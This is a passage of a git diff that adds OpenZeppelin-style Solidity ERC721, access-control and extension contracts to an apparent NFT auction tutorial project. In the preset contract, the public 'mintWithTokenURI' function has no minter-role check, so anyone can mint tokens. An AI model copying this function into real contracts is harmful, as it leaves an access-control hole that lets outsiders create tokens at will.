+    function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
+        _mint(to, tokenId);
+        require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
+    }
+
+    /**
+     * @dev Mints `tokenId` and transfers it to `to`.
+     *
+     * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
+     *
+     * Requirements:
+     *
+     * - `tokenId` must not exist.
+     * - `to` cannot be the zero address.
+     *
+     * Emits a {Transfer} event.
+     */
+    function _mint(address to, uint256 tokenId) internal virtual {
+        require(to != address(0), "ERC721: mint to the zero address");
+        require(!_exists(tokenId), "ERC721: token already minted");
+
+        _beforeTokenTransfer(address(0), to, tokenId);
+
+        _balances[to] += 1;
+        _owners[tokenId] = to;
+
+        emit Transfer(address(0), to, tokenId);
+    }
+
+    /**
+     * @dev Destroys `tokenId`.
+     * The approval is cleared when the token is burned.
+     *
+     * Requirements:
+     *
+     * - `tokenId` must exist.
+     *
+     * Emits a {Transfer} event.
+     */
+    function _burn(uint256 tokenId) internal virtual {
+        address owner = ERC721.ownerOf(tokenId);
+
+        _beforeTokenTransfer(owner, address(0), tokenId);
+
+        // Clear approvals
+        _approve(address(0), tokenId);
+
+        _balances[owner] -= 1;
+        delete _owners[tokenId];
+
+        emit Transfer(owner, address(0), tokenId);
+    }
+
+    /**
+     * @dev Transfers `tokenId` from `from` to `to`.
+     *  As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
+     *
+     * Requirements:
+     *
+     * - `to` cannot be the zero address.
+     * - `tokenId` token must be owned by `from`.
+     *
+     * Emits a {Transfer} event.
+     */
+    function _transfer(address from, address to, uint256 tokenId) internal virtual {
+        require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
+        require(to != address(0), "ERC721: transfer to the zero address");
+
+        _beforeTokenTransfer(from, to, tokenId);
+
+        // Clear approvals from the previous owner
+        _approve(address(0), tokenId);
+
+        _balances[from] -= 1;
+        _balances[to] += 1;
+        _owners[tokenId] = to;
+
+        emit Transfer(from, to, tokenId);
+    }
+
+    /**
+     * @dev Approve `to` to operate on `tokenId`
+     *
+     * Emits a {Approval} event.
+     */
+    function _approve(address to, uint256 tokenId) internal virtual {
+        _tokenApprovals[tokenId] = to;
+        emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
+    }
+
+    /**
+     * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
+     * The call is not executed if the target address is not a contract.
+     *
+     * @param from address representing the previous owner of the given token ID
+     * @param to target address that will receive the tokens
+     * @param tokenId uint256 ID of the token to be transferred
+     * @param _data bytes optional data to send along with the call
+     * @return bool whether the call correctly returned the expected magic value
+     */
+    function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
+        private returns (bool)
+    {
+        if (to.isContract()) {
+            try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
+                return retval == IERC721Receiver(to).onERC721Received.selector;
+            } catch (bytes memory reason) {
+                if (reason.length == 0) {
+                    revert("ERC721: transfer to non ERC721Receiver implementer");
+                } else {
+                    // solhint-disable-next-line no-inline-assembly
+                    assembly {
+                        revert(add(32, reason), mload(reason))
+                    }
+                }
+            }
+        } else {
+            return true;
+        }
+    }
+
+    /**
+     * @dev Hook that is called before any token transfer. This includes minting
+     * and burning.
+     *
+     * Calling conditions:
+     *
+     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
+     * transferred to `to`.
+     * - When `from` is zero, `tokenId` will be minted for `to`.
+     * - When `to` is zero, ``from``'s `tokenId` will be burned.
+     * - `from` and `to` are never both zero.
+     *
+     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
+     */
+    function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
+}
diff --git a/basic/16-nft-auction-exchange/contracts/erc-token/ERC721PresetMinterPauserAutoId.sol b/basic/16-nft-auction-exchange/contracts/erc-token/ERC721PresetMinterPauserAutoId.sol
new file mode 100644
index 000000000..5deed90b8
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/ERC721PresetMinterPauserAutoId.sol
@@ -0,0 +1,185 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./ERC721.sol";
+import "./extensions/ERC721Enumerable.sol";
+import "./extensions/ERC721Burnable.sol";
+import "./extensions/ERC721Pausable.sol";
+import "./extensions/ERC721URIStorage.sol";
+import "./extensions/AccessControlEnumerable.sol";
+import "./extensions/Context.sol";
+import "./extensions/Counters.sol";
+
+/**
+ * @dev {ERC721} token, including:
+ *
+ *  - ability for holders to burn (destroy) their tokens
+ *  - a minter role that allows for token minting (creation)
+ *  - a pauser role that allows to stop all token transfers
+ *  - token ID and URI autogeneration
+ *
+ * This contract uses {AccessControl} to lock permissioned functions using the
+ * different roles - head to its documentation for details.
+ *
+ * The account that deploys the contract will be granted the minter and pauser
+ * roles, as well as the default admin role, which will let it grant both minter
+ * and pauser roles to other accounts.
+ */
+contract ERC721PresetMinterPauserAutoId is Context, AccessControlEnumerable, ERC721Enumerable, ERC721Burnable, ERC721Pausable {
+    using Counters for Counters.Counter;
+
+    bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
+    bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
+
+    Counters.Counter private _tokenIdTracker;
+
+    string private _baseTokenURI;
+
+    /**
+     * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
+     * account that deploys the contract.
+     *
+     * Token URIs will be autogenerated based on `baseURI` and their token IDs.
+     * See {ERC721-tokenURI}.
+     */
+    constructor(string memory name, string memory symbol, string memory baseTokenURI) ERC721(name, symbol) {
+        _baseTokenURI = baseTokenURI;
+
+        _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
+
+        _setupRole(MINTER_ROLE, _msgSender());
+        _setupRole(PAUSER_ROLE, _msgSender());
+    }
+
+    function _baseURI() internal view virtual override returns (string memory) {
+        return _baseTokenURI;
+    }
+
+    /**
+     * @dev Creates a new token for `to`. Its token ID will be automatically
+     * assigned (and available on the emitted {IERC721-Transfer} event), and the token
+     * URI autogenerated based on the base URI passed at construction.
+     *
+     * See {ERC721-_mint}.
+     *
+     * Requirements:
+     *
+     * - the caller must have the `MINTER_ROLE`.
+     */
+    function mint(address to) public virtual {
+        require(hasRole(MINTER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have minter role to mint");
+
+        // We cannot just use balanceOf to create the new tokenId because tokens
+        // can be burned (destroyed), so we need a separate counter.
+        _mint(to, _tokenIdTracker.current());
+        _tokenIdTracker.increment();
+    }
+
+
+    /**
+     * @dev Pauses all token transfers.
+     *
+     * See {ERC721Pausable} and {Pausable-_pause}.
+     *
+     * Requirements:
+     *
+     * - the caller must have the `PAUSER_ROLE`.
+     */
+    function pause() public virtual {
+        require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause");
+        _pause();
+    }
+
+    /**
+     * @dev Unpauses all token transfers.
+     *
+     * See {ERC721Pausable} and {Pausable-_unpause}.
+     *
+     * Requirements:
+     *
+     * - the caller must have the `PAUSER_ROLE`.
+     */
+    function unpause() public virtual {
+        require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause");
+        _unpause();
+    }
+
+    function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable, ERC721Pausable) {
+        super._beforeTokenTransfer(from, to, tokenId);
+    }
+
+    /**
+     * @dev See {IERC165-supportsInterface}.
+     */
+    function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC721, ERC721Enumerable) returns (bool) {
+        return super.supportsInterface(interfaceId);
+    }
+
+    // --------------------------------------------
+    //
+
+    using Strings for uint256;
+
+    // Optional mapping for token URIs
+    mapping (uint256 => string) private _tokenURIs;
+
+    /**
+     * @dev See {IERC721Metadata-tokenURI}.
+     */
+    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
+        require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
+
+        string memory _tokenURI = _tokenURIs[tokenId];
+        string memory base = _baseURI();
+
+        // If there is no base URI, return the token URI.
+        if (bytes(base).length == 0) {
+            return _tokenURI;
+        }
+        // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
+        if (bytes(_tokenURI).length > 0) {
+            return string(abi.encodePacked(base, _tokenURI));
+        }
+
+        return super.tokenURI(tokenId);
+    }
+
+    /**
+     * @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
+     *
+     * Requirements:
+     *
+     * - `tokenId` must exist.
+     */
+    function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
+        require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
+        _tokenURIs[tokenId] = _tokenURI;
+    }
+
+    /**
+     * @dev Destroys `tokenId`.
+     * The approval is cleared when the token is burned.
+     *
+     * Requirements:
+     *
+     * - `tokenId` must exist.
+     *
+     * Emits a {Transfer} event.
+     */
+    function _burn(uint256 tokenId) internal virtual override {
+        super._burn(tokenId);
+
+        if (bytes(_tokenURIs[tokenId]).length != 0) {
+            delete _tokenURIs[tokenId];
+        }
+    }
+
+    //
+    function mintWithTokenURI(address to, string memory tokenURI) public  returns (bool) {
+        _mint(to, _tokenIdTracker.current());
+        _setTokenURI(_tokenIdTracker.current(), tokenURI);
+        _tokenIdTracker.increment();
+        return true;
+    }
+}
diff --git a/Example10-hardhat-ipfs-erc721/contracts/IERC165.sol b/basic/16-nft-auction-exchange/contracts/erc-token/IERC165.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/IERC165.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/IERC165.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/IERC721.sol b/basic/16-nft-auction-exchange/contracts/erc-token/IERC721.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/IERC721.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/IERC721.sol
diff --git a/Example10-hardhat-ipfs-erc721/contracts/MYERC721.sol b/basic/16-nft-auction-exchange/contracts/erc-token/MYERC721.sol
similarity index 100%
rename from Example10-hardhat-ipfs-erc721/contracts/MYERC721.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/MYERC721.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/SimpleToken.sol b/basic/16-nft-auction-exchange/contracts/erc-token/SimpleToken.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/SimpleToken.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/SimpleToken.sol
diff --git a/basic/16-nft-auction-exchange/contracts/erc-token/extensions/AccessControl.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/AccessControl.sol
new file mode 100644
index 000000000..41e6df025
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/AccessControl.sol
@@ -0,0 +1,243 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./Context.sol";
+import "./Strings.sol";
+import "../ERC165.sol";
+
+/**
+ * @dev External interface of AccessControl declared to support ERC165 detection.
+ */
+interface IAccessControl {
+    function hasRole(bytes32 role, address account) external view returns (bool);
+    function getRoleAdmin(bytes32 role) external view returns (bytes32);
+    function grantRole(bytes32 role, address account) external;
+    function revokeRole(bytes32 role, address account) external;
+    function renounceRole(bytes32 role, address account) external;
+}
+
+/**
+ * @dev Contract module that allows children to implement role-based access
+ * control mechanisms. This is a lightweight version that doesn't allow enumerating role
+ * members except through off-chain means by accessing the contract event logs. Some
+ * applications may benefit from on-chain enumerability, for those cases see
+ * {AccessControlEnumerable}.
+ *
+ * Roles are referred to by their `bytes32` identifier. These should be exposed
+ * in the external API and be unique. The best way to achieve this is by
+ * using `public constant` hash digests:
+ *
+ * ```
+ * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
+ * ```
+ *
+ * Roles can be used to represent a set of permissions. To restrict access to a
+ * function call, use {hasRole}:
+ *
+ * ```
+ * function foo() public {
+ *     require(hasRole(MY_ROLE, msg.sender));
+ *     ...
+ * }
+ * ```
+ *
+ * Roles can be granted and revoked dynamically via the {grantRole} and
+ * {revokeRole} functions. Each role has an associated admin role, and only
+ * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
+ *
+ * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
+ * that only accounts with this role will be able to grant or revoke other
+ * roles. More complex role relationships can be created by using
+ * {_setRoleAdmin}.
+ *
+ * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
+ * grant and revoke this role. Extra precautions should be taken to secure
+ * accounts that have been granted it.
+ */
+abstract contract AccessControl is Context, IAccessControl, ERC165 {
+    struct RoleData {
+        mapping (address => bool) members;
+        bytes32 adminRole;
+    }
+
+    mapping (bytes32 => RoleData) private _roles;
+
+    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
+
+    /**
+     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
+     *
+     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
+     * {RoleAdminChanged} not being emitted signaling this.
+     *
+     * _Available since v3.1._
+     */
+    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
+
+    /**
+     * @dev Emitted when `account` is granted `role`.
+     *
+     * `sender` is the account that originated the contract call, an admin role
+     * bearer except when using {_setupRole}.
+     */
+    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
+
+    /**
+     * @dev Emitted when `account` is revoked `role`.
+     *
+     * `sender` is the account that originated the contract call:
+     *   - if using `revokeRole`, it is the admin role bearer
+     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
+     */
+    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
+
+    /**
+     * @dev Modifier that checks that an account has a specific role. Reverts
+     * with a standardized message including the required role.
+     *
+     * The format of the revert reason is given by the following regular expression:
+     *
+     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
+     *
+     * _Available since v4.1._
+     */
+    modifier onlyRole(bytes32 role) {
+        _checkRole(role, _msgSender());
+        _;
+    }
+
+    /**
+     * @dev See {IERC165-supportsInterface}.
+     */
+    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
+        return interfaceId == type(IAccessControl).interfaceId
+            || super.supportsInterface(interfaceId);
+    }
+
+    /**
+     * @dev Returns `true` if `account` has been granted `role`.
+     */
+    function hasRole(bytes32 role, address account) public view override returns (bool) {
+        return _roles[role].members[account];
+    }
+
+    /**
+     * @dev Revert with a standard message if `account` is missing `role`.
+     *
+     * The format of the revert reason is given by the following regular expression:
+     *
+     *  /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
+     */
+    function _checkRole(bytes32 role, address account) internal view {
+        if(!hasRole(role, account)) {
+            revert(string(abi.encodePacked(
+                "AccessControl: account ",
+                Strings.toHexString(uint160(account), 20),
+                " is missing role ",
+                Strings.toHexString(uint256(role), 32)
+            )));
+        }
+    }
+
+    /**
+     * @dev Returns the admin role that controls `role`. See {grantRole} and
+     * {revokeRole}.
+     *
+     * To change a role's admin, use {_setRoleAdmin}.
+     */
+    function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
+        return _roles[role].adminRole;
+    }
+
+    /**
+     * @dev Grants `role` to `account`.
+     *
+     * If `account` had not been already granted `role`, emits a {RoleGranted}
+     * event.
+     *
+     * Requirements:
+     *
+     * - the caller must have ``role``'s admin role.
+     */
+    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
+        _grantRole(role, account);
+    }
+
+    /**
+     * @dev Revokes `role` from `account`.
+     *
+     * If `account` had been granted `role`, emits a {RoleRevoked} event.
+     *
+     * Requirements:
+     *
+     * - the caller must have ``role``'s admin role.
+     */
+    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
+        _revokeRole(role, account);
+    }
+
+    /**
+     * @dev Revokes `role` from the calling account.
+     *
+     * Roles are often managed via {grantRole} and {revokeRole}: this function's
+     * purpose is to provide a mechanism for accounts to lose their privileges
+     * if they are compromised (such as when a trusted device is misplaced).
+     *
+     * If the calling account had been granted `role`, emits a {RoleRevoked}
+     * event.
+     *
+     * Requirements:
+     *
+     * - the caller must be `account`.
+     */
+    function renounceRole(bytes32 role, address account) public virtual override {
+        require(account == _msgSender(), "AccessControl: can only renounce roles for self");
+
+        _revokeRole(role, account);
+    }
+
+    /**
+     * @dev Grants `role` to `account`.
+     *
+     * If `account` had not been already granted `role`, emits a {RoleGranted}
+     * event. Note that unlike {grantRole}, this function doesn't perform any
+     * checks on the calling account.
+     *
+     * [WARNING]
+     * ====
+     * This function should only be called from the constructor when setting
+     * up the initial roles for the system.
+     *
+     * Using this function in any other way is effectively circumventing the admin
+     * system imposed by {AccessControl}.
+     * ====
+     */
+    function _setupRole(bytes32 role, address account) internal virtual {
+        _grantRole(role, account);
+    }
+
+    /**
+     * @dev Sets `adminRole` as ``role``'s admin role.
+     *
+     * Emits a {RoleAdminChanged} event.
+     */
+    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
+        emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
+        _roles[role].adminRole = adminRole;
+    }
+
+    function _grantRole(bytes32 role, address account) private {
+        if (!hasRole(role, account)) {
+            _roles[role].members[account] = true;
+            emit RoleGranted(role, account, _msgSender());
+        }
+    }
+
+    function _revokeRole(bytes32 role, address account) private {
+        if (hasRole(role, account)) {
+            _roles[role].members[account] = false;
+            emit RoleRevoked(role, account, _msgSender());
+        }
+    }
+}
diff --git a/Example09-hardhat-react/contracts/extensions/AccessControlEnumerable.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/AccessControlEnumerable.sol
similarity index 98%
rename from Example09-hardhat-react/contracts/extensions/AccessControlEnumerable.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/extensions/AccessControlEnumerable.sol
index 4cf76736c..e5593ab01 100644
--- a/Example09-hardhat-react/contracts/extensions/AccessControlEnumerable.sol
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/AccessControlEnumerable.sol
@@ -3,7 +3,7 @@
 pragma solidity ^0.8.0;
 
 import "./AccessControl.sol";
-import "../utils/EnumerableSet.sol";
+import "./EnumerableSet.sol";
 
 /**
  * @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Address.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/Address.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Address.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/extensions/Address.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Context.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/Context.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Context.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/extensions/Context.sol
diff --git a/Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Counters.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/Counters.sol
similarity index 100%
rename from Example16-hardhat-auction-exchange/contracts/erc-token/extensions/Counters.sol
rename to basic/16-nft-auction-exchange/contracts/erc-token/extensions/Counters.sol
diff --git a/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Burnable.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Burnable.sol
new file mode 100644
index 000000000..26fb468df
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Burnable.sol
@@ -0,0 +1,25 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "../ERC721.sol";
+import "./Context.sol";
+
+/**
+ * @title ERC721 Burnable Token
+ * @dev ERC721 Token that can be irreversibly burned (destroyed).
+ */
+abstract contract ERC721Burnable is Context, ERC721 {
+    /**
+     * @dev Burns `tokenId`. See {ERC721-_burn}.
+     *
+     * Requirements:
+     *
+     * - The caller must own `tokenId` or be an approved operator.
+     */
+    function burn(uint256 tokenId) public virtual {
+        //solhint-disable-next-line max-line-length
+        require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
+        _burn(tokenId);
+    }
+}
diff --git a/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Enumerable.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Enumerable.sol
new file mode 100644
index 000000000..8cdcdf827
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Enumerable.sol
@@ -0,0 +1,159 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "../ERC721.sol";
+import "./IERC721Enumerable.sol";
+
+/**
+ * @dev This implements an optional extension of {ERC721} defined in the EIP that adds
+ * enumerability of all the token ids in the contract as well as all token ids owned by each
+ * account.
+ */
+abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
+    // Mapping from owner to list of owned token IDs
+    mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
+
+    // Mapping from token ID to index of the owner tokens list
+    mapping(uint256 => uint256) private _ownedTokensIndex;
+
+    // Array with all token ids, used for enumeration
+    uint256[] private _allTokens;
+
+    // Mapping from token id to position in the allTokens array
+    mapping(uint256 => uint256) private _allTokensIndex;
+
+    /**
+     * @dev See {IERC165-supportsInterface}.
+     */
+    function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
+        return interfaceId == type(IERC721Enumerable).interfaceId
+            || super.supportsInterface(interfaceId);
+    }
+
+    /**
+     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
+     */
+    function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
+        require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
+        return _ownedTokens[owner][index];
+    }
+
+    /**
+     * @dev See {IERC721Enumerable-totalSupply}.
+     */
+    function totalSupply() public view virtual override returns (uint256) {
+        return _allTokens.length;
+    }
+
+    /**
+     * @dev See {IERC721Enumerable-tokenByIndex}.
+     */
+    function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
+        require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
+        return _allTokens[index];
+    }
+
+    /**
+     * @dev Hook that is called before any token transfer. This includes minting
+     * and burning.
+     *
+     * Calling conditions:
+     *
+     * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
+     * transferred to `to`.
+     * - When `from` is zero, `tokenId` will be minted for `to`.
+     * - When `to` is zero, ``from``'s `tokenId` will be burned.
+     * - `from` cannot be the zero address.
+     * - `to` cannot be the zero address.
+     *
+     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
+     */
+    function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
+        super._beforeTokenTransfer(from, to, tokenId);
+
+        if (from == address(0)) {
+            _addTokenToAllTokensEnumeration(tokenId);
+        } else if (from != to) {
+            _removeTokenFromOwnerEnumeration(from, tokenId);
+        }
+        if (to == address(0)) {
+            _removeTokenFromAllTokensEnumeration(tokenId);
+        } else if (to != from) {
+            _addTokenToOwnerEnumeration(to, tokenId);
+        }
+    }
+
+    /**
+     * @dev Private function to add a token to this extension's ownership-tracking data structures.
+     * @param to address representing the new owner of the given token ID
+     * @param tokenId uint256 ID of the token to be added to the tokens list of the given address
+     */
+    function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
+        uint256 length = ERC721.balanceOf(to);
+        _ownedTokens[to][length] = tokenId;
+        _ownedTokensIndex[tokenId] = length;
+    }
+
+    /**
+     * @dev Private function to add a token to this extension's token tracking data structures.
+     * @param tokenId uint256 ID of the token to be added to the tokens list
+     */
+    function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
+        _allTokensIndex[tokenId] = _allTokens.length;
+        _allTokens.push(tokenId);
+    }
+
+    /**
+     * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
+     * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
+     * gas optimizations e.g. when performing a transfer operation (avoiding double writes).
+     * This has O(1) time complexity, but alters the order of the _ownedTokens array.
+     * @param from address representing the previous owner of the given token ID
+     * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
+     */
+    function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
+        // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
+        // then delete the last slot (swap and pop).
+
+        uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
+        uint256 tokenIndex = _ownedTokensIndex[tokenId];
+
+        // When the token to delete is the last token, the swap operation is unnecessary
+        if (tokenIndex != lastTokenIndex) {
+            uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
+
+            _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
+            _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
+        }
+
+        // This also deletes the contents at the last position of the array
+        delete _ownedTokensIndex[tokenId];
+        delete _ownedTokens[from][lastTokenIndex];
+    }
+
+    /**
+     * @dev Private function to remove a token from this extension's token tracking data structures.
+     * This has O(1) time complexity, but alters the order of the _allTokens array.
+     * @param tokenId uint256 ID of the token to be removed from the tokens list
+     */
+    function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
+        // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
+        // then delete the last slot (swap and pop).
+
+        uint256 lastTokenIndex = _allTokens.length - 1;
+        uint256 tokenIndex = _allTokensIndex[tokenId];
+
+        // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
+        // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
+        // an 'if' statement (like in _removeTokenFromOwnerEnumeration)
+        uint256 lastTokenId = _allTokens[lastTokenIndex];
+
+        _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
+        _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
+
+        // This also deletes the contents at the last position of the array
+        delete _allTokensIndex[tokenId];
+        _allTokens.pop();
+    }
+}
diff --git a/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Holder.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Holder.sol
new file mode 100644
index 000000000..c65825e0e
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Holder.sol
@@ -0,0 +1,23 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "./IERC721Receiver.sol";
+
+  /**
+   * @dev Implementation of the {IERC721Receiver} interface.
+   *
+   * Accepts all token transfers.
+   * Make sure the contract is able to use its token with {IERC721-safeTransferFrom}, {IERC721-approve} or {IERC721-setApprovalForAll}.
+   */
+contract ERC721Holder is IERC721Receiver {
+
+    /**
+     * @dev See {IERC721Receiver-onERC721Received}.
+     *
+     * Always returns `IERC721Receiver.onERC721Received.selector`.
+     */
+    function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4) {
+        return this.onERC721Received.selector;
+    }
+}
diff --git a/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Pausable.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Pausable.sol
new file mode 100644
index 000000000..5d050dc55
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721Pausable.sol
@@ -0,0 +1,28 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "../ERC721.sol";
+import "./Pausable.sol";
+
+/**
+ * @dev ERC721 token with pausable token transfers, minting and burning.
+ *
+ * Useful for scenarios such as preventing trades until the end of an evaluation
+ * period, or having an emergency switch for freezing all token transfers in the
+ * event of a large bug.
+ */
+abstract contract ERC721Pausable is ERC721, Pausable {
+    /**
+     * @dev See {ERC721-_beforeTokenTransfer}.
+     *
+     * Requirements:
+     *
+     * - the contract must not be paused.
+     */
+    function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override {
+        super._beforeTokenTransfer(from, to, tokenId);
+
+        require(!paused(), "ERC721Pausable: token transfer while paused");
+    }
+}
diff --git a/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721URIStorage.sol b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721URIStorage.sol
new file mode 100644
index 000000000..10ba8a21d
--- /dev/null
+++ b/basic/16-nft-auction-exchange/contracts/erc-token/extensions/ERC721URIStorage.sol
@@ -0,0 +1,66 @@
+// SPDX-License-Identifier: MIT
+
+pragma solidity ^0.8.0;
+
+import "../ERC721.sol";
+
+/**
+ * @dev ERC721 token with storage based token URI management.
+ */
+abstract contract ERC721URIStorage is ERC721 {
+    using Strings for uint256;
+
+    // Optional mapping for token URIs
+    mapping (uint256 => string) private _tokenURIs;
+
+    /**
+     * @dev See {IERC721Metadata-tokenURI}.
+     */
+    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
+        require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
+
+        string memory _tokenURI = _tokenURIs[tokenId];
+        string memory base = _baseURI();
+
+        // If there is no base URI, return the token URI.
+        if (bytes(base).length == 0) {
+            return _tokenURI;
+        }
+        // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
